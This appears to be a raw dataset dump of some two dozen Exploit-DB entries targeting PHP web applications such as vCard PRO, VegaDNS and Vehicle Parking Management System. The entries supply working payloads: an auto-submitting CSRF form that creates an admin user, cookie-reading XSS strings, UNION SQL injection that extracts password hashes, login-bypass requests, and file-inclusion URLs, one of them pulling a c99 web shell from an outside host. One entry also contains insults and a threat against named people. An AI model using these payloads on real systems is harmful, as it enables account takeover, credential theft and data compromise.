deardaniel/secdata-raw huggingface dataset:
Exploit-DB #17251
Description: VCalendar 1.1.5 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2011-05-06
Author: High-Tech Bridge SA

Exploit:
Vulnerability ID: HTB22969
Reference: http://www.htbridge.ch/advisory/csrf_cross_site_request_forgery_in_vcalendar.html
Product: VCalendar
Vendor: UltraApps ( http://ultraapps.com ) 
Vulnerable Version: 1.1.5
Vendor Notification: 21 April 2011 
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Risk level: Low 
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) 

Vulnerability Details:
The vulnerability exists due to failure in the "/admin/users_maint.php" script to properly verify the source of HTTP request.
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
Attacker can use browser to exploit this vulnerability. The following PoC is available:


<form action="http://[host]/admin/users_maint.php?ccsForm=users_maint" method="post" name="main" />
<input type="hidden" name="user_login" value="test"/>
<input type="hidden" name="user_password" value="test"/>
<input type="hidden" name="user_level" value="100"/>
<input type="hidden" name="user_email" value="test@test.com"/>
<input type="hidden" name="user_first_name" value="test"/>
<input type="hidden" name="user_last_name" value="test"/>
<input type="hidden" name="user_is_approved" value="1"/>
<input type="hidden" name="user_date_add_h" value="04.16.2011"/>
<input type="submit" id="btn" name="submit" value="Submit â€ºâ€º">
</form>
<script>
document.getElementById('btn').click();
</script>
Exploit-DB #27414
Description: vCard 2.8/2.9 - 'create.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-03-11
Author: Linux_Drox

Exploit:
source: https://www.securityfocus.com/bid/17073/info

vCard is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/vcard/create.php?card_id='><script>alert(document.cookie)</script>

http://www.example.com/vcard/create.php?uploaded='><script>alert(document.cookie)</script>

http://www.example.com/vcard/create.php?card_fontsize='><script>alert(document.cookie)</script>

http://www.example.com/vcard/create.php?card_color='><script>alert(document.cookie)</script>
Exploit-DB #27911
Description: vCard 2.9 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-03-11
Author: black-code

Exploit:
source: https://www.securityfocus.com/bid/18122/info

vCard is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/cards/toprated.php?page=[XSS]
http://www.example.com/cards/newcards.php?page=[XSS]
Exploit-DB #28121
Description: vCard PRO - 'create.php?card_id' SQL Injection
Type: webapps
Platform: php
Date: 2006-06-19
Author: CrAzY CrAcKeR

Exploit:
source: https://www.securityfocus.com/bid/18699/info
  
VCard PRO is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
  
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
  
http://www.example.com/create.php?card_id=[SQL]
Exploit-DB #29376
Description: VCard Pro - 'gbrowse.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-01-02
Author: exexp

Exploit:
source: https://www.securityfocus.com/bid/21844/info

vCard PRO is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/vcard/gbrowse.php?cat_id=9&sortby=[XSS]
Exploit-DB #28119
Description: vCard PRO - 'gbrowse.php?cat_id' SQL Injection
Type: webapps
Platform: php
Date: 2006-06-19
Author: CrAzY CrAcKeR

Exploit:
source: https://www.securityfocus.com/bid/18699/info

VCard PRO is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/gbrowse.php?cat_id=[SQL]
Exploit-DB #28120
Description: vCard PRO - 'rating.php?card_id' SQL Injection
Type: webapps
Platform: php
Date: 2006-06-19
Author: CrAzY CrAcKeR

Exploit:
source: https://www.securityfocus.com/bid/18699/info
 
VCard PRO is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
 
http://www.example.com/rating.php?card_id=[SQL]
Exploit-DB #28122
Description: vCard PRO - 'search.php?event_id' SQL Injection
Type: webapps
Platform: php
Date: 2006-06-19
Author: CrAzY CrAcKeR

Exploit:
source: https://www.securityfocus.com/bid/18699/info
   
VCard PRO is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
   
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
   
http://www.example.com/search.php?event_id=[SQL]
Exploit-DB #10670
Description: vCard PRO 3.1 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-26
Author: indoushka

Exploit:
========================================================================================
| # Title    : vCard PRO 3.1 Cross Site Scripting Vulnerability                        |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # EDB-ID   : 10670                                                                   |
| # CVE-ID   : ()                                                                      |
| # OSVDB-ID : ()                                                                      |
| # DAte     :16/12/2009                                                               |
| # Verified :                                                                         |
| # Web Site : www.iq-ty.com                                                           |
| # Published:                                                                         |
| # Script   : Powered by vCard PRO 3.1 Translated by SCDT - SWiSHE Cards : SWiSHE.NeT &#65533;2005
| # Tested on: windows SP2 Fran&#65533;ais V.(Pnx2 2.0) + Lunix Fran&#65533;ais v.(9.4 Ubuntu)       |
| # Bug      : XSS                                                                     |
======================      Exploit By indoushka       =================================
| # Exploit  :
|
| 1- http://127.0.0.1:80/vcard/newcards.php?page=1<script>alert([PII_REDACTED]60)</script>
| 2- http://127.0.0.1/vcard/create.php?card_id=1>"><ScRiPt%20%0d%0a>alert([PII_REDACTED]60)%3B</ScRiPt>
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
-------------------------------------------------------------------------------------------
Exploit-DB #4889
Description: vcart 3.3.2 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2008-01-11
Author: k1n9k0ng

Exploit:
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Scripts         : vcart version 3.3.2
Discovered By   : k1n9k0ng
Scripts site    : http://www.visionburst.com/
Thanks To       : #sekuritionline, #semprol, #bajingan, #mimid, #r.i.p, #x-code, #yogyafree
special To      : adhietslank, sukam, cyberlog, cah_gemblunkz, the_sims, aRiee, letjen, k1tk4t
site            : www.sekuritionline.net
dork        : Powered by "vcart 3.3.2"
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

bug found:
"http://www.site.net/index.php?abs_path=[shell]"
"http://www.site.net/checkout.php?abs_path=[shell]"

# milw0rm.com [2008-01-11]
Exploit-DB #26795
Description: VCD-db 0.9x - 'search.php?by' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-13
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15840/info

VCD-db is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks. 

http://www.example.com/search.php?searchstring=&by=[SQL]
Exploit-DB #26796
Description: VCD-db 0.9x Search Module - 'batch' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-12-13
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15840/info
 
VCD-db is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks. 

http://www.example.com/?page=category&category_id=1&viewmode=img&batch=%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E
Exploit-DB #9570
Description: Ve-EDIT 0.1.4 - 'debug_PHP.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2009-09-01
Author: CoBRa_21

Exploit:
-------------------------------------------------------------------------------------
Ve-EDIT v 0.1.4 (debug_php.php) LFI Vulnerability
-------------------------------------------------------------------------------------
 
Author: CoBRa_21
 
Mail: uyku_cu[at]windowslive[dot]com
 
Script Download: http://sourceforge.net/projects/phpwebeditor/
 
-------------------------------------------------------------------------------------
 
EXPLOÄ°T:
 
http://localhost/[PATH]/debugger/debug_php.php?_GET[filename]= [LFÄ°]
 
-------------------------------------------------------------------------------------
 
BUG
Line 53:        require("./../".$_GET["filename"]); 
 
-------------------------------------------------------------------------------------

# milw0rm.com [2009-09-01]
Exploit-DB #9577
Description: Ve-EDIT 0.1.4 - 'highlighter' Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-09-02
Author: RoMaNcYxHaCkEr

Exploit:
   ====================================================
   | Ve-EDIT v 0.1.4 Remote File Include Vulne 
   |     My Home Page : WwW.Sec-Code.CoM
   |        Founded By RoMaNcYxHaCkEr           
   ====================================================
 
[!] Discovered.:                        RoMaNcYxHaCkEr
[!] Vendor.....:                          http://sourceforge.net/projects/phpwebeditor/
[!] My Homepage...:                 WwW.Sec-Code.CoM
[!] Security - Codes Group ...:  mr-al7rbi , sniper-code
[!] Contact Me ...:                     rXh@Mail.Net.Sa
 
[!] PoC........:
 
http://WwW.Sec-Code.CoM/vedit/editor/edit_htmlarea.php?highlighter=http://WwW.Sec-Code.CoM/c99.txt?
 
[!] Solution...:     Contact With Me ;)
 
[!] Greetingz..:    All My Forum Members , My TeaM , Ø£Ø¨Ùˆ Ø¹Ø°Ø§Ø¨ , Dexter Franklin ;)
 
[!] Thx .. :            CoBRa_21 For His Found
 
[!] Fuck To .. :      Third , Dev1l-Fucker , sarbot511 <<< They Big Big Big Big Lamerz
 
[!] Note :             Watch Out Your Back , Before I Kick Your Ass Asshole :)
 
[!] rXh
 
[!] bEST wISHES

# milw0rm.com [2009-09-02]
Exploit-DB #26146
Description: VegaDNS 0.8.1/0.9.8/0.9.9 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-08-10
Author: dyn0

Exploit:
source: https://www.securityfocus.com/bid/14538/info

VegaDNS is vulnerable to cross-site scripting attacks. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/index.php?VDNS_Sessid=[sessid]&message=[some error msg]<iframe src="http://www.example.com">
Exploit-DB #27593
Description: VegaDNS 0.9.9 - 'index.php?cid' SQL Injection
Type: webapps
Platform: php
Date: 2006-04-10
Author: Ph03n1X

Exploit:
source: https://www.securityfocus.com/bid/17433/info

VegaDNS is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/vegadns/index.php?VDNS_Sessid=ip2eugr7ndn9n9sbnagb9f3p43&state=logged_in&mode=users&user_mode=edit_account&cid=1%20UNION%20SELECT%201,2,3,4,5,6,7,8,9%
20--

http://www.example.com/vegadns/index.php?VDNS_Sessid=ip2eugr7ndn9n9sbnagb9f3p43&state=logged_in&mode=users&user_mode=edit_account&cid=1%20 AND 1=0
Exploit-DB #27419
Description: Vegas Forum 1.0 - 'Forumlib.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-03-13
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/17079/info

Vegas Forum is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/forum.php?postid=999% 20or%201
Exploit-DB #27001
Description: VEGO Links Builder 2.0 Login Script - SQL Injection
Type: webapps
Platform: php
Date: 2005-12-29
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/16108/info

VEGO Links Builder is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/links/login.php

username: a' or 'a'='a'/*
[CREDENTIAL_REDACTED]
Exploit-DB #27000
Description: VEGO Web Forum 1.x - Theme_ID SQL Injection
Type: webapps
Platform: php
Date: 2005-12-28
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/16107/info

VEGO Web Forum is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

For version 1.26:
http://www.example.com/webforum/index.php? theme_id=-1% 20union%20select% 201,2,name, 4,5%20from% 20vwf_users% 20where%20userid=1/*

Earlier versions:
http://www.example.com/temp/_1/webforum/index.php? theme_id=-1% 20union%20select% 201,2,name, 4%20from%20vwf_users% 20where%20userid=1/*


Hash of administrator's password -

For version 1.26:
http://www.example.com/webforum/index.php? theme_id=-1% 20union%20select% 201,2,name, 4,5%20from% 20vwf_users% 20where%20userid=1/*

Earlier versions:
http://www.example.com/temp/_1/webforum/index.php? theme_id=-1% 20union%20select% 201,2,pass, 4%20from%20vwf_users% 20where%20userid=1/*
Exploit-DB #49595
Description: Vehicle Parking Management System 1.0 - 'catename' Persistent Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-02-25
Author: Tushar Vaidya

Exploit:
# Exploit Title: Vehicle Parking Management System 1.0 - 'catename' Persistent Cross-Site Scripting (XSS)
# Date: 2021-02-25
# Exploit Author: Tushar Vaidya
# Vendor Homepage: https://www.sourcecodester.com/php/14415/vehicle-parking-management-system-project-phpmysql-full-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/mayuri_k/lagos-parker-fullsource-code.zip
# Version: v1.0
# Tested on: Ubuntu


*Steps to Reproduce:*
1) Login with Admin Credentials and click on the '*Manage category*' button.
2) Click on the '*Add Categories*'  button.
3) Now add the 'Ba1man' in the input field of '*Category*' and intercept it with Burp Suite.
4) Now add the following payload input field of *Category *as a parameter name is *catename*

Payload:  ba1man"><script>alert(document.cookie)</script>

4) Click On Save
5) Now go to '*Manage category > View Categories*'
5) XSS payload is triggered.

*proof-of-concept:*
1) Request:

POST /lagos_parker/parker/addcategory.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/lagos_parker/parker/addcategory.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 82
Connection: close
Cookie: PHPSESSID=6432hpio6v07igni4akosvdbmn
Upgrade-Insecure-Requests: 1
catename=ba1man"><script>alert(document.cookie)</script>&submit=
Exploit-DB #48877
Description: Vehicle Parking Management System 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2020-10-15
Author: BKpatron

Exploit:
# Exploit Title: Vehicle Parking Management System 1.0 - Authentication Bypass
# Google Dork: N/A
# Date: 2020-10-14
# Exploit Author: BKpatron
# Vendor Homepage: https://www.sourcecodester.com/php/14415/vehicle-parking-management-system-project-phpmysql-full-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/mayuri_k/lagos-parker-fullsource-code.zip
# Version: v1.0
# Tested on: Win 10
# CVE: N/A

# Vulnerability: Attacker can bypass login page and access to dashboard page
# vulnerable file : /login.php
# Parameter & Payload: username: '=''or'@email.com password: '=''or'
# Proof of Concept: http://localhost/lagos-parker/login.php

POST /lagos-parker/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 73
Referer: http://localhost/lagos-parker/login.php
Cookie: PHPSESSID=q4efk7p0vo1866rwdxzq8aeam8
Connection: keep-alive
Upgrade-Insecure-Requests: 1
email=%27%3D%27%27or%27%40email.com&[CREDENTIAL_REDACTED]_login=: undefined
Exploit-DB #49509
Description: Vehicle Parking Tracker System 1.0 - 'Owner Name'  Stored Cross-Site Scripting
Type: webapps
Platform: php
Date: 2021-02-01
Author: Anmol K Sachan

Exploit:
# Exploit Title: Vehicle Parking Tracker System 1.0 - 'Owner Name'  Stored Cross-Site Scripting
# Date: 2021-01-30
# Exploit Author: Anmol K Sachan
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/vehicle-parking-management-system-using-php-and-mysql/
# Software: : Vehicle Parking Tracker System 
# Version : 1.0
# Vulnerability Type: Cross-site Scripting
# Tested on Windows 10 XAMPP
# This application is vulnerable to Stored XSS vulnerability.
# Vulnerable script:

1) http://localhost/vpms/add-vehicle.php
# Vulnerable parameters: 'Owner Name'
# Payload used: ()"><script>alert(‘document.cookie’)</script>
# POC: manage-incomingvehicle.php
# You will see your Javascript code executed.